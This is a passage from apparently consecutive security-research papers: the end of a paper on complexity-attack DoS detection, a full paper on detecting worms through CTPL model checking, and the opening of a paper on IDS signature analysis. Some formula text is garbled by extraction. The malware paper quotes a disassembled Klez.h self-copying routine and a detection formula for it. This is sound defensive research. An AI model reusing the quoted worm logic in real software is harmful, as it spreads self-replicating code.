attackers are more likely to be interested in conducting flooding attacks. Not surpris-
ingly there are many research papers on flooding attacks but a few on complexity at-
tacks. 

In Crosby’s paper mentioned earlier [1], a specific type of complexity attack based 
on hash table is treated. Crosby’s solution to prevent such attack uses randomization, 
whereas, our solution depends on putting limits on requests’ service demands. Our 
approach is more flexible in the sense that we did not focus on only one algorithm 
while developing our model.  

In [3], Gligor mentioned that there is an upper bound on the time required for the 
execution of a request, which is acceptable to the user. He used the term maximum 
waiting time (MWT) to denote this time. MWT is nothing but the maximum accept-
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able response time. According to Gligor’s model, if a request cannot finish within the 
MWT then probably the system is under DoS attacks. However, his model cannot 
pinpoint an offender. Like Gligor’s, our approach is related to execution time as well. 
But it is substantially different due to the manner we use it. We use the service time 
component of the total response time while Gligor’s approach is based on the total re-
sponse time. We use service time instead of total response time, because the response 
time varies significantly based on the system load. But the service demand may ex-
perience very little variation depending on the system load. If a request’s already con-
sumed service demand (summation of service times) is greater or equal to its conser-
vative value, then the request should be complete by this time. So, to avoid dropping 
of legitimate request mistakenly, it is safe to use the service time rather than the 
global response time. If the job does not complete after getting expected amount of 
service then it is most likely an attack –in this way we can pinpoint an offender. 

In [4], it is reported that the java byte code verification algorithm is prone to com-
plexity attacks. Some normal as well as carefully crafted code may need service from 
a CPU, which is quadratic in the code length. Open source algorithms are more prone 
to this type of attacks than the systems employing security by obscurity principle. 
They mentioned that this type of attack is severe, because it does not exploit imple-
mentation error but perfectly valid properties of algorithms in a subtle way. They pro-
pose the use of efficient and hardened algorithm to protect against such an attack. But 
very little is said about their hardening model and its actual performance. 

In resource accounting based detection of DoS attacks, the system keeps track of 
the resources consumed by a particular principal [5,6]. If the resource usage is beyond 
the acceptable limit then the system gives warning of DoS attacks. Our approach is 
similar to resource accounting. But we depend on dynamic thresholds instead of static 
one to drop requests. 

6   Conclusion 

We have presented a model to estimate execution time of a process, which can be 
used to effectively prevent complexity attack. Our approach is different from the tra-
ditional resource limit approach provided by the operating systems (OS) in the sense 
that the former can dynamically set resource limit based on current inputs and the fit-
ted curve. Our model helps to pinpoint a potential complexity attack and can kill such 
an offender. We tested our model on quick sort algorithm. In future work we will ap-
ply our model to detect attacks on other popular algorithms such as regular expres-
sions, B+ trees, and hash tables.  

The approach proposed in this paper is an alternative to randomization. We par-
tially analyzed performance overhead introduced by our detector. In future, we have 
to collect complete and comparative information about overhead and system slow-
down caused by the use of our protection model vs. randomization on a system.  

Sampling rate is important; based on the rate, some attacks may be hard to detect. 
So, by trial and error, we have to find out a sampling rate good enough to detect at-
tacks without causing too much overhead.  
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The drop policies employed in this paper may drop non-conforming legitimate re-
quests to a deterministic algorithm but keep the system usable by conforming re-
quests. To reduce drop rate for non-conforming legitimate requests, we need to incor-
porate more information like input size distributions in addition to the remaining 
token or processing share available for a user. In future implementation, we will in-
corporate our model in a middleware that will intercept requests from the software to 
the resources and take necessary actions based on the predicted and consumed times.  
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Abstract. The ease of compiling malicious code from source code in
higher programming languages has increased the volatility of malicious
programs: The first appearance of a new worm in the wild is usually
followed by modified versions in quick succession. As demonstrated by
Christodorescu and Jha, however, classical detection software relies on
static patterns, and is easily outsmarted. In this paper, we present a flexi-
ble method to detect malicious code patterns in executables by model
checking. While model checking was originally developed to verify the
correctness of systems against specifications, we argue that it lends it-
self equally well to the specification of malicious code patterns. To this
end, we introduce the specification language CTPL (Computation Tree
Predicate Logic) which extends the well-known logic CTL, and describe
an efficient model checking algorithm. Our practical experiments demon-
strate that we are able to detect a large number of worm variants with
a single specification.

Keywords: Model Checking, Malware Detection.

1 Introduction

Today’s Internet connects a large number of household- and business-owned
personal computers running variants of Microsoft’s Windows operating system.
As recent years have shown, these systems have been an especially attractive
target for malicious individuals developing worms—programs that spread au-
tonomously over networks requiring little or no user interaction, like NetSky
or Sasser. Apart from ‘classic’ Internet worms which exploit vulnerabilities in
network services, the most successful and widespread worms have been e-mail
worms. This class of worms typically relies on users opening attachments to e-
mails out of curiosity. Replicating with this rather primitive method, various
versions of NetSky, MyDoom and Bagle have been dominating the worm hitlists
for over a year.

In contrast to the viruses of the pre-Internet era, creating an e-mail worm
that infects hundreds of thousands of computers nowadays does not require
knowledge of systems or even assembly language programming. For example,
NetSky and MyDoom were written in Visual C++, do not appear to be very
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skillfully engineered and contain obvious bugs in some of the versions. This trend
is further intensified by the availability of virus toolkits which allow unskilled
persons to create a new virus with a few mouse clicks.

During the last years it became evident that shortly after a new worm is
released into the wild, several modified versions of the worm appear (either
written by the same author or by individuals who somehow got hold of the
source code). As a result of these developments, we see new worm derivatives
appearing on the Internet almost every day. While these new versions differ only
slightly from the original in terms of functionality, the resulting binary file can be
quite different, depending on the compiler in use and its optimization settings;
this problem worsens if executable packers such as UPX [15] or FSG [9] are used.

Current anti-virus products use rather straightforward (but yet computa-
tionally efficient) detection methods, most notably static signature matching
and, more recently, dynamic analysis [1]. Static signature matching employs a
database containing characteristic binary code sequences of known malware and
matches these sequences against executables. Dynamic analysis executes the po-
tentially infected programs in a controlled environment (sandbox) and checks
for suspicious program behavior at runtime. These two approaches have the
following two substantial drawbacks:

– Signature matching requires an up-to-date database of characteristic viral
code sequences. In order to keep the false positives rate of the virus detector
low, signatures are chosen so that one signature exactly matches one version
of a virus or worm. In particular, the signature will thus not match against
worm derivatives. This hypothesis was certified by Christodorescu and Jha in
tests with commercially available virus scanners [4]; their tests showed that
even naive modifications of the viral code, such as the insertion of a single
nop instruction, can totally foil the detection process. Typically, modified
worms spread quickly, which leads to a window of vulnerability between the
release of a worm variant and the next update of the signature libraries.
In this time span a novel virus or worm derivative cannot be detected by
conventional anti-virus products. It would thus be highly desirable to have
a virus scanner that reliably detects a virus or worm together with a large
class of its potential derivatives.

– On the other hand, while dynamic analysis promises to solve some of the
problems of static signature matching, it can be foiled by appropriate virus
design. In particular the behavior of an executable is observed only over
a limited timespan, which does not allow predictions of future malicious
actions.

Semantic analysis methods (such as static analysis of executables) provide a
possibility to overcome these two general problems. Consequently, various ap-
proaches for virus detection by formal methods can be found in the literature.

Bergeron et. al. [2] concentrate on the detection of suspicious system call se-
quences. In particular, they reduce the control flow graph of an executable to a
subgraph containing only the nodes representing certain system calls and check
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whether the subgraph contains suspicious sequences of system calls. Singh and
Lakhotia [14] describe a system that uses the model checker SPIN to check prop-
erties of the control flow graph of a suspicious executable against a formula in
linear temporal logic (LTL) specifying viral behavior. However, in [13] they ex-
press serious doubt about the feasibility of this method and generally of malicious
code detection by formal analysis. In the paper closest to our work, Christodor-
escu and Jha [3] combat common virus obfuscation techniques by transforming
virus source code into an malicious code automaton in order to handle inserted
dead code and jumps between individual instructions; in addition they use un-
resolved symbols as placeholders for registers. If the language of the malicious
code automaton has a non-empty intersection with the language of an automa-
ton built from the program to be analyzed, then a viral code sequence is present
in the program. In particular, their work is dedicated to cope with obfuscated
malware.

In this paper, we propose a novel method to detect malicious code through
model checking [6, 7]. Model checking has been successfully used in the past for
the verification of both hardware and software. We disassemble a potentially
infected executable and construct its control flow graph, containing nodes for all
instructions that are present in the executable. We specify malicious behavior
by a formula ϕ in a branching-time temporal logic. To this end, we introduce
a new temporal logic CTPL (Computation Tree Predicate Logic) that is as
expressive as CTL but allows a succinct and natural representation of malicious
code patterns, taking register renaming into account. Finally, we introduce an
explicit model checking algorithm for CTPL to verify the absence of malicious
patterns in the code. More precisely, if the control flow graph of a program is
a model for ϕ, then the program contains a malicious subroutine. With our
prototype implementation we were able to detect several variants of the NetSky,
MyDoom and Klez worms with one single CTPL formula.

In Section 2 we describe the specification logic CTPL in detail and give
an example CTPL formula which describes common worm behavior. Section
3 introduces the model checking algorithm for CTPL and describes the model
extraction from a binary file. Finally, we present preliminary results in Section 4.

2 The Specification Logic CTPL

In this section we describe the logic CTPL that we use to specify malicious
behavior. Our logic needs to be able to express statements like “In the code there
exists a mov instruction that loads the constant 937 into some register; later,
the value contained in this register is always pushed onto the stack”. In theory
this can can be done in a temporal logic such as CTL [8]. For an introduction
to temporal logics in the context of verification we refer to [6, 10].

We model the control flow graph of an executable as a Kripke structure, i.e.,
as a labeled finite graph. A Kripke structure M is a triple 〈S,R,L〉, where S is
a set of states, R ⊆ S × S is a total transition relation, and L : S → 2P is a
labeling function that associates a set of propositions (elements of P ) to each
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state. We say that a proposition p holds in a state s, if p is contained in the label
of s, i.e., p ∈ L(s). A path π = s0, s1, s2, . . . in M is a sequence of states si ∈ M
with (si, si+1) ∈ R. For a path π, πi refers to the state at position i, with π0

being the starting state. Πs is the set of all paths in M starting at state s.
CTL formulas allow to specify temporal properties of Kripke structures by

six special temporal operators A,E,X,F,G,U; A and E are path quantifiers
that quantify over paths in a Kripke structure, whereas the others are linear-
time operators that specify properties along a given path π. Aϕ is true in a
state s if for all paths in Πs, ϕ is true; in contrast, Eϕ is true in state s if
there exists a path in Πs where ϕ holds. The other operators express properties
of one specific path π: X p is true on a path π if p holds in state π1, F p is
true if p holds somewhere in the future on π, G p is true if p holds globally
on π, whereas pU q is true if p holds on the path π until q holds. In CTL,
path and linear-time operators can occur only pairwise (i.e., in the combinations
AX,EX,AU,EU,AF,EF,AG,EG). While CTL requires basic knowledge of
logic, it can be quickly learned and has been used successfully in order to specify
properties of hardware and software.

The example at the beginning of this section can be expressed in CTL as a
large formula, containing clauses for all register names:

EF(mov eax,937 ∧ AF(push eax)) ∨
EF(mov ebx,937 ∧ AF(push ebx)) ∨
EF(mov ecx,937 ∧ AF(push ecx)) ∨
. . .

Here the machine instructions are atomic propositions (i.e., elements of P ). This
formula essentially expresses that there exists a path in the control flow graph of
the executable that contains a mov instruction, which is followed later (on every
possible computation path) by a corresponding push instruction.

In this notation, formulas that model potentially malicious behavior tend
to be very large. Typically these formulas must be resistant against register
renaming; however, this can only be handled in CTL by explicitly mentioning
each possible register assignment in the formula (as shown in the example above).
In order to keep the size of the formula small, we introduce an extension of CTL—
called CTPL—which is tailored towards the specification of code patterns. While
CTPL is not more expressive than CTL, specialized model-checking algorithms
can efficiently exploit the more concise representation of CTPL formulas.

In CTPL we allow propositions to be predicates of the form p(x1, . . . , xn),
where x1, . . . , xn either represent free variables or constants; each free variable xi

can take on values from a finite set U called universe. In CTPL model checking,
the set of propositions P is the set of all syntactic terms p(c1, . . . , cn), where
c1, . . . , cn are elements of U . In our application, the predicate names represent
assembler instructions in the natural way, e.g., cmp ebx,[bp-4] is represented
as cmp(ebx, [bp-4]). In addition, we introduce quantifiers ∃ and ∀ that allow to
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quantify over free variables in a predicate. For example, the above CTL formula
could be expressed succinctly in CTPL as

∃rEF(mov(r, 937) ∧ AF(push(r))).

Syntax and Semantics of CTPL. The syntax of CTPL is the same as the syntax
of CTL with the following addition: if ϕ is a CTPL formula with a free variable
x, then both ∀xϕ and ∃xϕ are CTPL formulas. Similar as in the semantics
definition of first order logic, we collect bindings for free variables (i.e., assign-
ments between variable names and values from the universe U) in a set B, called
environment. B[x 
→ a] represents the environment that maps the variable x to a
and every other variable y to B(y). If a formula ϕ is valid in a state s of a Kripke
structure under environment B, we will write M, s |=B ϕ. The detailed definition
of the semantics is given in Figure 1. A formula ϕ is valid in M (written M |= ϕ),
if M, s0 |= ϕ for the initial state s0.

Modeling the Behavior of Programs in CTPL. As the following examples show,
CTPL allows much flexibility in specifying program behavior:

– Code that sets a register to 0 and pushes this value onto the stack with the
next instruction can be specified as

∃rEF(mov(r, 0) ∧ EX push(r)).

1. M, s |= ψ ⇔ There is a B such that M, s |=B ψ.
2. M, s |=B p(x1, . . . , xn) ⇔ p(B(x1), . . . , B(xn)) ∈ L(s).
3. M, s |=B ¬ψ ⇔ M, s |=B ψ does not hold.
4. M, s |=B ψ1 ∨ ψ2 ⇔ M, s |=B ψ1 or M, s |=B ψ2.
5. M, s |=B ψ1 ∧ ψ2 ⇔ M, s |=B ψ1 and M, s |=B ψ2.
6. M, s |=B ∀x ψ ⇔ For all a ∈ U , M, s |=B[x �→a] ψ.
7. M, s |=B ∃x ψ ⇔ For some a ∈ U , M, s |=B[x �→a] ψ.
8. M, s |=B EFψ ⇔ There is a path π from s containing a state si ∈ π such

that M, si |=B ψ.
9. M, s |=B EGψ ⇔ There is a path π from s such that M, si |=B ψ for all

states si ∈ π.
10. M, s |=B EXψ ⇔ There is a successor state s1 of s such that M, s1 |=B ψ.
11. M, s |=B E [ψ1Uψ2] ⇔ For a path π = (s0, s1, . . .) where s = s0 there is a k ≥ 0

such that M, si |=B ψ1 for all i < k and M, sj |=B ψ2

for all j ≥ k.
12. M, s |=B AFψ ⇔ Every path π from s contains a state si ∈ π such that

M, si |=B ψ.
13. M, s |=B AGψ ⇔ On every path π from s, there holds M, si |=B ψ in all

states si ∈ π.
14. M, s |=B AXψ ⇔ For all successor states s1 of s, M, s1 |=B ψ.
15. M, s |=B A [ψ1 Uψ2] ⇔ For all paths π = (s0, s1, . . .) where s = s0 there is a

k ≥ 0 such that M, si |=B ψ1 for all i < k and M, sj |=B
ψ2 for all j ≥ k.

Fig. 1. Semantics of the logic CTPL
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– By replacing EX with EF, we can specify a code sequence where other
instructions can occur between mov and push:

∃rEF(mov(r, 0) ∧ EF push(r)).

Note that this specification also allows the presence of instructions between
mov and push that modify the contents of the register r.

– If we want to disallow any change of the register r with a mov instruction
between the first mov and push, we can formulate this constraint using EU:

∃rEF(mov(r, 0) ∧ E(¬∃t mov(r, t)) U push(r)).

Of course there are other ways to change the contents of register r, but
for simplicity, only mov is forbidden here. A similar construction can always
be used if the contents of a register must be preserved between two non-
consecutive instructions.

If a code fragment calls a function with more than one parameter, multiple
push instructions will be present before a call, pushing the parameters of the
function onto the stack. Each push will in turn be preceded by other instructions
that compute the values of the parameters. CTPL can be used to specify the
behavior of such code fragments even in the presence of arbitrarily scheduled
independent instructions by enforcing the correct computation of the parame-
ter values and the correct stack layout. In particular, we model this behavior
in CTPL by the conjunction of several different subformulas. One subformula
represents the order in which the function parameters are pushed onto the stack,
while the other subformulas enforce the correct computation of the individual
parameter values. In order to tie these subformulas together, we introduce a
special location predicate #loc(L); each node of the Kripke structure is labeled
with a unique number L.

Using this predicate, a specification for a call to a function func that takes
two parameters, where the second parameter is set to zero, can be written as:

∃L∃r1( EF(mov(r1, 0) ∧ EF#loc(L)) ∧
∃r2EF(push(r2) ∧ EF(push(r1) ∧ #loc(L) ∧ EF(call(func)))))

The first line of the formula expresses that there exists a mov instruction in the
code that clears a register r1; at a later time we find an instruction at location L,
whose form will be specified later. The second line asserts that we can eventually
find a call to function func that is preceded by a push instruction at location L,
which in turn is preceded by another push instruction that pushes the content
of r2 onto the stack (for simplicity, we have omitted subformulas that ensure
integrity of the registers r1 and r2 between the mov and push instructions).
Modeling Viral Behavior in CTPL. Figure 2 shows a part of the disassembled
infection routine of the worm Klez.h. It exhibits the typical behavior of e-mail
worms: the code determines the name of its own executable using the Win-
dows API call GetModuleFileNameA and then copies this file to a different
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mov edi, [ebp+arg 0]

xor ebx, ebx clear register ebx

push edi
...

lea eax, [ebp+ExFileName] store address of the string buffer in eax
mov [esp+65Ch+var 65C], 104h

push eax push the address of the string buffer
push ebx set first system call argument to NULL
call ds:GetModuleFileNameA call GetModuleFileNameA
lea eax, [ebp+NewFileName] load address of destination file name
push ebx set third argument to zero
push eax push the address of destination name
lea eax, [ebp+ExFileName] fetch address of source name string
push eax push the address as first argument
call ds:CopyFileA call CopyFileA

Fig. 2. Code fragment of the infection routine of Klez.h

location (usually a system directory or a shared folder) with the system call
CopyFileA. The Windows API function GetModuleFileNameA takes three pa-
rameters, namely a module name and the address and size of the destination
string buffer; if the module file name is set to zero (NULL), it returns the name
of the running process. The system call CopyFileA also takes three parameters:
addresses of the strings specifying source and destination files and a Boolean
flag. The code in Figure 2 basically consists of those two system calls and in-
structions that initialize the parameters (the relevant lines of the code fragment
are explained in the figure).

Figure 3 shows a CTPL formula that specifies this typical worm behavior;
the formula matches code that calls GetModuleFileNameA to retrieve its own
filename, and afterwards uses the resulting string as a parameter to the system
call CopyFileA. The formula consists of six subformulas that are tied together
with the location predicate and describe the correct computation of the system
call arguments. Line 3 specifies that a string buffer pointer is stored in a register
r0; line 4 asserts that a register r1 is set to zero (NULL). Using the data integrity
construction described before, both subformulas assure that these register values
are not changed by mov or lea instructions until the arguments are pushed onto
the stack with instructions located at positions L0 and L1. Lines 5-8 specify the
preparation of the stack and the call to GetModuleFileNameA: before invoking
the call instruction (located at Lm), a constant c0 and the contents of the
previously prepared registers r0 and r1 are pushed onto the stack; the latter two
push instructions occur at locations L0 and L1. In addition, we specify (again
with the above mentioned data integrity construction) that the stack remains
intact until the system call is issued (i.e., no other stack operations occur). Lines
11-14 specify in a similar manner the preparation of parameters for and the
invocation of the system call CopyFileA, occurring at location Lc. Finally, line
15 asserts that GetModuleFileNameA must be invoked before CopyFileA, i.e.,
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1. ∃Lm∃Lc∃vFile(
2. ∃r0∃r1∃L0∃L1∃c0(
3. EF(lea(r0, vFile) ∧ EXE(¬∃t(mov(r0, t) ∨ lea(r0, t)))U#loc(L0))∧
4. EF(mov(r1, 0) ∧ EXE(¬∃t(mov(r1, t) ∨ lea(r1, t)))U#loc(L1))∧
5. EF(push(c0) ∧ EXE(¬∃t(push(t) ∨ pop(t)))
6. U(push(r0) ∧ #loc(L0) ∧ EXE(¬∃t(push(t) ∨ pop(t)))
7. U(push(r1) ∧ #loc(L1) ∧ EXE(¬∃t(push(t) ∨ pop(t)))
8. U(call(GetModuleFileNameA) ∧ #loc(Lm)))))
9. )
10. ∧(∃r0∃L0(
11. EF(lea(r0, vFile) ∧ EXE(¬∃t(mov(r0, t) ∨ lea(r0, t)))U#loc(L0))∧
12. EF(push(r0) ∧ #loc(L0) ∧ EXE(¬∃t(push(t) ∨ pop(t)))
13. U(call(CopyFileA) ∧ #loc(Lc)))
14. ))
15. ∧EF(#loc(Lm) ∧ EF#loc(Lc))
16. )

Fig. 3. CTPL formula that matches code creating copies of its own executable

the location Lm occurs before Lc. All locations are existentially quantified. It is
possible (in a similar way as described above), to construct formulas in CTPL
that capture the basic functionality of various types of malicious code.

3 Model Checking Executable Files

In order to model check a program, it is necessary to represent it as a Kripke
structure; we do this by extracting its control flow graph. In order to perform fine-
grained specifications, every instruction in the program is represented as a node
in the graph. Every instruction that is not a (conditional or unconditional) jump
is linked to its immediate successor. An unconditional jump (jmp) is linked to the
jump target. Nodes containing conditional jumps, such as jz or jge, are linked to
both their successor and the jump target, i.e., are modeled as nondeterministic
choices in the Kripke structure.

In general, there are two ways to handle procedure calls (call): either one
builds a separate model for each procedure in the executable or one inlines (non-
recursive) subroutines into one single Kripke structure. In our current prototype
we follow the first approach.

Each node in the Kripke structure is labeled by a unique location number L
(stored as predicate #loc(L)) and by the assembler instruction, represented as
predicate instr(param1, . . . , paramn). Here, instr codes the name of the machine
instruction (such as mov, jz or lea) and parami denote its parameters (see
Figure 4). These parameters are always constants representing register names,
memory locations or integer operands of the original instruction. Note that the
universe U of parameters is always finite for a fixed disassembled executable.

Model Checking CTPL. The algorithm to check whether a Kripke structure M
is a model of a CTPL formula ϕ extends the classic explicit model checking
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c: cmp ebx,[bp-4]

jz j

dec ebx

jmp c

j: mov eax,[bp+8]

�

�

�

�

�

#loc(0)

jz(j)
#loc(1)

dec(ebx)
#loc(2)

#loc(3)

#loc(4)

cmp(ebx, [bp-4])

mov(eax, [bp+8])

jmp(c)

Fig. 4. Executable code sequence and corresponding Kripke structure

algorithm [5], which uses a form of dynamic programming. In particular, our
algorithm visits the states of the Kripke structure as often as the classical al-
gorithm, but needs to keep track of the variable bindings which might become
exponentially large in the worst case. However, our experiments have demon-
strated that this is not a performance bottleneck in practice.

It can be shown that the model checking problem for CTPL is PSPACE-
complete; the hardness follows by a reduction from QBF, whereas member-
ship can be seen through a variant of the model checking algorithm that uses
backtracking and does not keep track of all possible bindings. The complex-
ity of model checking CTPL formulas is thus comparable to the complexity of
the model checking problem for LTL. However, PSPACE-completeness tells
little about the practical performance. In particular, the construction in the
PSPACE-hardness proof requires an unbounded number of quantifiers (∀,∃), a
situation that will not happen in practice.

The model checking algorithm traverses the formula ϕ in a bottom-up man-
ner, computing for each state s of the Kripke structure and each subformula
ϕ′ of ϕ, whether ϕ′ holds in s. This information is stored in a labeling relation
L ⊆ (S × F × B) with S, F , and B being the set of states, the set of CTPL
formulas, and the set of bindings, respectively. In particular, a tuple (s, ϕ′,B)
is stored in L, if the subformula ϕ′ holds in state s with respect to the vari-
able binding B. The model checker uses these labels to recursively evaluate more
complicated subformulas of ϕ; this procedure is iterated up to the full formula ϕ.
M |= ϕ holds if the initial state s0 of M is finally labeled with ϕ. For efficiency
reasons, the bindings will be represented in the labeling relation as a Boolean
formula C; this formalism allows efficient computation of negated bindings. The
Boolean formula representing B will be denoted by C.
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f = E[ψ1Uψ2]:
1. for all states s
2. if (s, ψ2, C2) ∈ L then L := L ∪ (s, f, C2);
3. while L has changed do
4. for all states s if ∃Cs(s, f, Cs) ∈ L then
5. for all (p, s) ∈ R // for all parents of s
6. if ∃C1(p, ψ1, C1) ∈ L then
7. C0 := Cs ∧ C1;
8. if C0 	≡ ⊥ then
9. if ∃Cp(p, f, Cp) ∈ L then L := L ∪ (p, f, C0 ∨ Cp);
10. else L := L ∪ (p, f, C0);

Fig. 5. Part of the model checking algorithm handling formulas of type E[ψ1Uψ2]

Figure 5 shows a typical part of the model checking algorithm, namely the
labeling algorithm for a subformula starting with EU; the full model checking
algorithm can be found in the appendix. In order to find all states where f =
E[ψ1Uψ2] holds, the algorithm assumes that all states where ψ1 or ψ2 hold
are already labeled with ψ1 or ψ2. If there exists a state that is labeled with
ψ2, E[ψ1Uψ2] holds in this state and we can label it with f (line 2). If such
a state exists, we iteratively search for all predecessor states p of s; if these
states are already labeled with ψ1, then we can label these states also with
f (again because f = E[ψ1Uψ2] surely holds there). The algorithm continues
until the label set does not change any more (lines 4-10). During the process,
the bindings are updated accordingly; in particular the bindings Cs of node s
are propagated to all parental nodes (line 7). It can be shown that this process
terminates and labels all states where E[ψ1Uψ2] is valid. In a similar manner,
all other subformula types can be treated (see appendix).

4 Results and Future Work

We have implemented a prototype of the CTPL model checker in Java; the
program takes an assembler file and a CTPL specification as input. In order to
model check an executable, we first disassemble the executable file with Datares-
cue’s IDAPro [11]. However, most e-mail worms use executable packers—tools
that compress an executable and prepend an extraction routine that will decom-
press the binary into system memory every time the resulting executable is run.
This makes it necessary as a first step to uncompress the executable in order to
obtain its original code. Currently this process is done manually, but it can be
automated. The complete toolchain of our prototype is depicted in Figure 6.

We have tested our prototype on a set of worms dating from the years 2002–
2004, provided by Ikarus Software [12]. Even though there are quite large differ-
ences in the compiled binary code between the different versions of one worm,
our CTPL specification matched most of the worm derivatives. During our ex-
periments, we even found that carefully written CTPL specifications can apply
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source

assembler

AnalysisDisassemblyUnpacking

CTPL model
IDA Pro
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Petite Enlarger

unFSG

binary plain binary

checker

Fig. 6. Toolchain of our prototype

to several families of worms. Using a slightly more general CTPL formula than
the one shown in Figure 3, we were able to prove the malicious behavior of
Klez.a, Klez.e, Klez.g, Klez.h, NetSky.b, NetSky.c, NetSky.d, NetSky.e, NetSky.p,
MyDoom.a, MyDoom.i, MyDoom.m, and MyDoom.aa with this single formula.

With the current prototype, checking a procedure of 150 lines of assembler
code takes about 2 seconds on an Athlon XP 2600+ CPU with 512MB of RAM.
The prototype implementation of the model checker is not optimized with re-
spect to computation time. We can speed up this model checking algorithm
significantly, e.g., by using sophisticated data structures (like Ordered Binary
Decision Diagrams) for representing the binding sets. Moreover, simple and fast
preprocessing of the assembler input files can eliminate procedures which obvi-
ously do not match the specification.

As future work, we see several promising approaches to improve expressive
power, performance and usability of our prototype. By replacing the x86 instruc-
tion predicates with abstracted forms that capture their operational semantics
we can decrease the complexity of CTPL formulas. For example, clearing a reg-
ister can be abstracted to assign(r, 0), regardless of its concrete implementation
(e.g., as xor eax,eax or mov eax,0). Using such abstractions, more accurate
data integrity constructions of the form E(¬∃tassign(r, t))Uψ can be specified.
In addition, as there are several typical construction patterns in specifications,
we will provide a macro language that allows the user to write malicious code
specifications in a more abstract notation. We also plan to investigate how the
performance of the model checking algorithm can be improved by the use of
efficient data structures.

5 Conclusions

In this paper, we proposed a novel approach to detect malicious patterns in
executable code sequences by model checking. In particular, the behavior of a
malicious code sequence is modeled as a formula in a branching time temporal
logic called CTPL; this formula is matched against the control flow graph of
an executable program by a model checker. CTPL allows for a succinct but yet
natural way to specify the behavior of a code fragment.
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Using this approach, we were able to write CTPL specifications that capture
common mechanisms present in viruses and worms. In particular, we were able to
use one CTPL formula to classify several worms together with their derivatives
as malicious. The practical results obtained show that CTPL model checking is
a promising approach for systematically and reliably detecting computer worms
together with functionally similar (but syntactically obfuscated) derivatives.

Acknowledgements. We thank Ikarus Software and Christopher Krügel for their
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Appendix: Model Checker for CTPL

In the appendix, we present our model checking algorithm for CTPL formulas;
all temporal operators of CTPL can be reduced to EU, EX, and AF using
standard formula rewrite rules [10]. Thus we only have to treat these three
temporal operators. Moreover, we rewrite ∀xψ as ¬∃x¬ψ.

Input: a Kripke structure M and a closed CTPL formula F
Output: set of states in M which satisfy F

The constraint sets are always kept in DNF, such that:
atom : (variable [ = | �= ] constant)
B : {atom1 ∧ . . . ∧ atomn}
C : {B1 ∨ . . . ∨ Bm}
for all subformulas f of formula F in ascending order of size

case f of
⊥:

label no states;
p(x1, . . . , xn):

stateIteration: for all states s
if ∃c1, . . . , cn (s, p(c1, . . . , cn),
) ∈ L then

B := 
;
for i := 1 to n

if xi is a variable then B := B ∧ (xi = ci);
else if xi �= ci then continue stateIteration;

if B �≡ ⊥ then L := L ∪ (s, f,B);
∃x (ψ):

for all states s
if ∃C(s, ψ,C) ∈ L then

C0 := ⊥;
for all B ∈ C

B0 := 
;
for all (v [= | �=] c) ∈ B

if v �= x then B0 := B0 ∧ (v [= | �=] c) ;
C0 := C0 ∨ B0;

L := L ∪ (s, f, C0);
¬ψ :

for all states s
if ∃C(s, ψ,C) ∈ L then

if ¬C �≡ ⊥ then L := L ∪ (s, f,¬C);
else L := L ∪ (s, ψ,
);

ψ1 ∧ ψ2:
for all states s

if ∃C1(s, ψ1, C1) ∈ L and ∃C2(s, ψ2, C2) ∈ L then
if C1 ∧ C2 �≡ ⊥ then L := L ∪ (s, f, C1 ∧ C2);



Detecting Malicious Code by Model Checking 187

ψ1 ∨ ψ2:
for all states s

if ∃C1(s, ψ1, C1) ∈ L then C0 := C1 else C0 := ⊥;
if ∃C2(s, ψ2, C2) ∈ L then C0 := C0 ∨ C2;
if C0 �≡ ⊥ then L := L ∪ (s, f, C0);

E[ψ1Uψ2]:
for all states s

if ∃C2(s, ψ2, C2) ∈ L then L := L ∪ (s, f, C2);
while L has changed do

for all states s if ∃Cs(s, f, Cs) ∈ L then
for all (p, s) ∈ R // for all parents of s

if ∃C1(p, ψ1, C1) ∈ L then
C0 := Cs ∧ C1;
if C0 �≡ ⊥ then

if ∃Cp(p, f, Cp) ∈ L then L := L ∪ (p, f, C0 ∨ Cp);
else L := L ∪ (p, f, C0);

EXψ:
for all states s

if ∃Cs(s, ψ,Cs) ∈ L then for all (p, s) ∈ R
if ∃Cp(p, f, Cp) ∈ L then L := L ∪ (p, f, Cs ∨ Cp);
else L := L ∪ (p, f, Cs);

AF ψ:
for all states s

if ∃Cψ(s, ψ,Cψ) ∈ L then L := L ∪ (s, f, Cψ);
while L has changed do

stateIteration: for all states s
C0 := 
;
for all (s, c) ∈ R // for all children of s

if ∃Cc(c, f, Cc) ∈ L then C0 := C0 ∧ Cc;
else continue stateIteration;
if C0 ≡ ⊥ then continue stateIteration;

L := L ∪ (s, f, C0);

end for

output all states s with (s, F,C) ∈ L for some C.
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Abstract. In addition to preventive mechanisms intrusion detection systems 
(IDS) are an important instrument to protect computer systems. Most IDSs used 
today realize the misuse detection approach. These systems analyze monitored 
events for occurrences of defined patterns (signatures), which indicate security 
violations. Up to now only little attention has been paid to the analysis 
efficiency of these systems. In particular for systems that are able to detect 
complex, multi-step attacks not much work towards performance optimizations 
has been done. This paper discusses analysis techniques of IDSs used today and 
introduces a couple of optimizing strategies, which exploit structural properties 
of signatures to increase the analyze efficiency. A prototypical implementation 
has been used to evaluate these strategies experimentally and to compare them 
with currently deployed misuse detection techniques. Measurements showed 
that significant performance improvements can be gained by using the proposed 
optimizing strategies. The effects of each optimization strategy on the analysis 
efficiency are discussed in detail. 

1   Introduction 

Intrusion detection systems (IDS) have been proved as an important instrument for 
the protection of computer systems and networks. As complement to preventive 
security mechanisms they allow an automatic recognition of security violations. They 
support also in part possible defenses. In intrusion detection systems mainly two 
fundamental and complementary strategies are applied: misuse detection (signature 
analysis) and anomaly detection. Misuse detection searches for patterns of known 
security violations - so-called signatures - in protocol and/or audit data. Anomaly 
detection looks for deviations of the user or system behavior from pre-defined usage 
profiles derived from long-term system observations. Misuse detection is more 
broadly applied than anomaly detection. Misuse detection systems are simpler to 
implement and to configure. They possess a significantly higher recognition accuracy 
compared to anomaly detection, whilst the latter offers the advantage to recognize 
unknown attacks. It is, however, not easy to trace the signalized anomaly back to the 
causing attack. This makes it difficult to automatically initiate counter measures. In 
this paper we only consider misuse detection.  
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Two classes of attacks can be distinguished related to their operation sequence and 
the expense required for their detection: single step attacks and multi step attacks. 
Single step attacks can be recognized based on an individual audit entry. Signatures 
for the detection of such attacks specify characteristic byte sequences whose possibly 
combined occurrence in an audit record indicates the security violation. In contrast the 
detection of multi step attacks requires a correlation among several protocol entries. 
Systems which are able to recognize single step attacks are called single step intrusion 
detection systems. The analysis methods of these systems are mainly based on string 
matching, whereas multi step intrusion detection systems use more complex and 
extensive analysis methods. 

Intrusion detection systems can be further classified as net-based or host-based 
systems related to the type audit data they analyze. Net-based systems analyze 
protocol packets logged in the network. Host-based systems process audit data of 
